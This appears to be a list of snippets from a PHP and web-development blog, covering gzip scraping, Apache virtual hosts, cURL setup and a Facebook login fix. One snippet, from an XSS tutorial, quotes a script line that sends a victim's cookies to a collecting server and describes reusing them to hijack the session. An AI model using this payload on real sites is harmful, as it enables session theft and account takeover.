Php website scrape

PHP file_get_contents giving garbled output

http://digitalpbk.com/php/file_get_contents-garbled-gzip-encoding-website-scraping PHP file_get_contents giving garbled output Are you getting garbled values when using file_get_contents fetching an external URL (website scrapping using php) and wondering what went wrong ? The content is appearing to have wierd characters instead of normal HTML output because of GZIP output encoding by the website you are fetching. You can fix this issue in multiple ways. Method 1 : Accept-Encoding In this method we set the request headers so that the webserver is forced to respond ...

Custom extenstion for a Server Script

http://digitalpbk.blogspot.com/2007/05/custom-extenstion-for-server-script.html be cool, because a statically appearing page is actually dynamic. But the disadvantage of using this is that, all HTML files will be passed through the PHP engine and parsed for the PHP codes. This puts unnecessary pressure on the servers and makes it slow.It is better to choose someother extension, if there is a lot of static content on your website. If most of your pages are in PHP, this effect is cool.If for some reason your .htaccess gets deleted or restored to default, All the PHP codes ...

Fix for Facebook authentication on IE

http://digitalpbk.blogspot.com/2009/08/facebook-auth-next-parameter-ie.html Fix for Facebook authentication on IE What?This is for Facebook developers who have faced this problem. If you are using an Facebook application to authenticate a user on a PHP website, the Facebook redirection on Internet Explorer specifically fails the login of the user. This is because the return URL returned by facebook specifically for IE is the appending of the CallBack URL specified in the Application +the Next parameter + a "?" + the auth_token parameter.This results ...

FTPCHK3 : Virus that adds malicious scripts to your website.

http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html FTPCHK3 : Virus that adds malicious scripts to your website. IntroThis virus changes all your web files, php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.How it got in ?This can be due to potential security holes in your FTP ...

XSS - Part 2 (Cookie stealing and Defacement)

http://digitalpbk.blogspot.com/2006/12/xss-part-2-cookie-stealing-and.html ();i.src = "http://myserver.com/myfolders/grabcookie.php?cookie="+document.cookie;This code will send the cookies to your server. Now embeding the script in url can be done as discussed in part 1.Next all you have to do is get this cookie (from cookiejar.txt) and set them in your browser. You can add and edit cookies in firefox with the cookie editor plugin.Just a refresh will certainly get you in, if you are not too late (Cookie expires after sometime).Defacing a websiteTo deface a website , the site must have a system which puts something you submit on their site (like ...

Making subdomains on localhost

http://digitalpbk.blogspot.com/2007/01/making-subdomains-on-localhost.html Making subdomains on localhost IntroDeveloping websites on localhost may sometimes need making of sub domains. Installing and running another server for this purpose is useless, consumes more resources etc. So here is the technique to make sub domains on localhost. You can also use this to host more than one site on localhost. i.e, you can host multiple sites situated on different folders. PS: This is for Apache-Windows configuration. (If you have info about other Server-OS configs please let ...

How to Integrate another Website to Google Analytics Tracking and Adsense

http://digitalpbk.com/adsense-analytics/how-integrate-google-analytics-tracking-and-adsense How to Integrate another Website to Google Analytics Tracking and Adsense This was supposed to be obvious, but I couldnt find easily how to integrate Google Adsense and Analytics to track your Adsense Ad performance on google analytics. Make sure you display ads on your page and the analytics tracking code. Make sure you have linked the adsense and analytics together before doing this. The following is to add one more site to track adsense. And then Getting straight to the answer, put ...

cURL PHP Error on Windows

http://digitalpbk.blogspot.com/2009/05/curl-php-windows-unable-load-libcurlphp.html cURL PHP Error on Windows Fatal error: Call to undefined function curl_init() in D:/webs/php.php on line 284This problem arises because of not including the lib_curl.dll to PHP. To solve this uncomment the line as shown below;extension=php_bz2.dllextension=php_curl.dll;extension=php_dba.dllNow restart apache server. If you get an error "Unable to Load X:/path/php/ext/php_curl.dll", copy SSLEAY32.PHPlibEAY32.dll (OpenSSL) Libraries to the System32 folder.Now restart apache server ...

Virtual Hosts on Apache 2.2.6 [Windows]

http://digitalpbk.blogspot.com/2007/12/virtual-hosts-apache-226-windows.html Virtual Hosts on Apache 2.2.6 [Windows] What ?Virtual Hosts allow you to simulate multiple sites on a single server.i.e, One Server many Websites.Virtual Hosts is enabled by uncommenting the line :# Virtual hosts#Include conf/extra/httpd-vhosts.conf #Uncomment this lineon httpd.confThe virtual host conf file ./conf/extra/httpd-vhosts.confEg:## Virtual Hosts## If you want to maintain multiple domains/hostnames on your# machine you can setup VirtualHost containers for them. Most configurations ...

Free Light weight Social media sharing javascript for Facebook, Twitter, Stumble Upon, Digg and Reddit

http://digitalpbk.com/javascript/free-light-small-social-media-sharing-javascript-facebook-twitter-stumble-upon-digg-and-r Free Light weight Social media sharing javascript for Facebook, Twitter, Stumble Upon, Digg and Reddit Social Media Buttons or buttons that help you share the content on bookmarking websites such as Stumble Upon, Reddit or Digg or social networking Websites such as Facebook or Twitter. Adding the buttons helps you to expose your content to a broader audience. There are lots of social media button providers such as AddThis or ShareThis. I think it is overloaded with features that makes your ...